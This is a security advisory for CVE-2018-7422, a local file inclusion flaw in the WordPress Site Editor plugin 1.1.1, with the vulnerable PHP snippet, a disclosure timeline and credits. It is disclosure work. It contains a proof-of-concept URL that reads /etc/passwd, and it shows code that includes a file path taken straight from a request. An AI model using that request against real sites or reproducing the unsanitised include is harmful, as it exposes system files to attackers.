WordPress Site Editor 1.1.1 Local File Inclusion

WordPress Site Editor plugin version 1.1.1 suffers from a local file inclusion vulnerability.


MD5 | 0ba37e13409bd3ec35a1f571dac0c489

Product: Site Editor Wordpress Plugin - https://wordpress.org/plugins/site-editor/
Vendor: Site Editor
Tested version: 1.1.1
CVE ID: CVE-2018-7422

** CVE description **
A Local File Inclusion vulnerability in the Site Editor plugin through 1.1.1 for WordPress allows remote attackers to retrieve arbitrary files via the ajax_path parameter to editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php.

** Technical details **
In site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php:5, the value of the ajax_path parameter is used for including a file with PHPs require_once(). This parameter can be controlled by an attacker and is not properly sanitized.

Vulnerable code:
if( isset( $_REQUEST['ajax_path'] ) && is_file( $_REQUEST['ajax_path'] ) && file_exists( $_REQUEST['ajax_path'] ) ){
require_once $_REQUEST['ajax_path'];
}

https://plugins.trac.wordpress.org/browser/site-editor/trunk/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?rev=1640500#L5

By providing a specially crafted path to the vulnerable parameter, a remote attacker can retrieve the contents of sensitive files on the local system.

** Proof of Concept **
http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

** Solution **
No fix available yet.

** Timeline **
03/01/2018: author contacted through siteeditor.org's contact form; no reply
16/01/2018: issue report filled on the public GitHub page with no technical details
18/01/2018: author replies and said he replied to our e-mail 8 days ago (could not find the aforementioned e-mail at all); author sends us "another" e-mail
19/01/2018: report sent; author says he will fix this issue "very soon"
31/01/2018: vendor contacted to ask about an approximate release date and if he needs us to postpone the disclosure; no reply
14/02/2018: WP Plugins team contacted; no reply
06/03/2018: vendor contacted; no reply
07/03/2018: vendor contacted; no reply
15/03/2018: public disclosure

** Credits **
Vulnerability discovered by Nicolas Buzy-Debat working at Orange Cyberdefense Singapore (CERT-LEXSI).

--
Best Regards,

Nicolas Buzy-Debat
Orange Cyberdefense Singapore (CERT-LEXSI)
_________________________________________________________________________________________________________________________

Ce message et ses pieces jointes peuvent contenir des informations confidentielles ou privilegiees et ne doivent donc
pas etre diffuses, exploites ou copies sans autorisation. Si vous avez recu ce message par erreur, veuillez le signaler
a l'expediteur et le detruire ainsi que les pieces jointes. Les messages electroniques etant susceptibles d'alteration,
Orange decline toute responsabilite si ce message a ete altere, deforme ou falsifie. Merci.

This message and its attachments may contain confidential or privileged information that may be protected by law;
they should not be distributed, used or copied without authorisation.
If you have received this email in error, please notify the sender and delete this message and its attachments.
As emails may be altered, Orange is not liable for messages that have been modified, changed or falsified.
Thank you.




Related Posts